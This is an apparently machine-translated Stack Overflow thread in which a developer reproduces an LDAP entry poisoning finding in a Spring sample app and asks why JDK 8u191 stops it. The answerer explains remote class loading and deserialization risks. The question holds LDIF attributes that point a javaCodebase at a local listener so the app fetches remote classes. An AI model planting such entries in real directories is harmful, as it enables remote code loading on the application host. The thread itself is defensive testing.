Fortify在我的一个Spring应用程序中报告了一个LDAP条目中毒漏洞。您可以从以下链接获取有关此漏洞的更多信息:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
我决定试着自己证明这是否仍然是一个漏洞。我使用Spring Tool Suite做到了这一点:
file ->新的->导入spring入门内容
已搜索ldap并导入身份验证Ldap ->完整代码集。
https://spring.io/guides/gs/authenticating-ldap/
然后,我将以下行添加到包含的test-server.ldif文件中,添加到bob的条目以及开发人员的条目中:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject为了运行它,我需要将以下行添加到application.properties:
spring.ldap.embedded.validation.enabled=false我启动了Wireshark并运行了Spring示例应用程序,果然,当我使用bob登录时,我在Wireshark的端口9999上得到了一个匹配。
当我让一位同事测试同样的东西时,他无法复制。经过一些研究,我们发现他有一个比我更新的jdk,在我更新jdk之后,我也无法重现这个问题。
我们将范围缩小到jdk-8u191是引入了“修复”的版本,但是我找不到任何东西来解释为什么或者如何在java发行说明中修复它。
我的问题是-如果我们运行jdk-8u191或更高版本,LDAP条目中毒现在是假/正吗?或者是否有一些配置选项可以设置为覆盖此“修复”?
发布于 2019-02-21 03:02:01
LDAP中的8u191 closed a remote class loading vulnerability,尽管研究仍在进行中。在Java中,无论何时将字节流转换为对象,都需要考虑类加载( 8u191解决了这个问题),但也要考虑不安全的反序列化。
在解决CVE时,它们通常不在发行说明中。
至于来自Fortify的警报是否是假阳性,我认为更重要的是评估与您的应用程序相关的风险。
例如,要利用此漏洞,攻击者至少需要direct access to your LDAP instance (请参阅第31页),这可能表示存在更大的安全问题。8u191及之后,攻击者还需要在您的类路径中找到一个易受不安全反序列化攻击的类,以重现BH talk演示的内容。
https://stackoverflow.com/questions/54789922
复制相似问题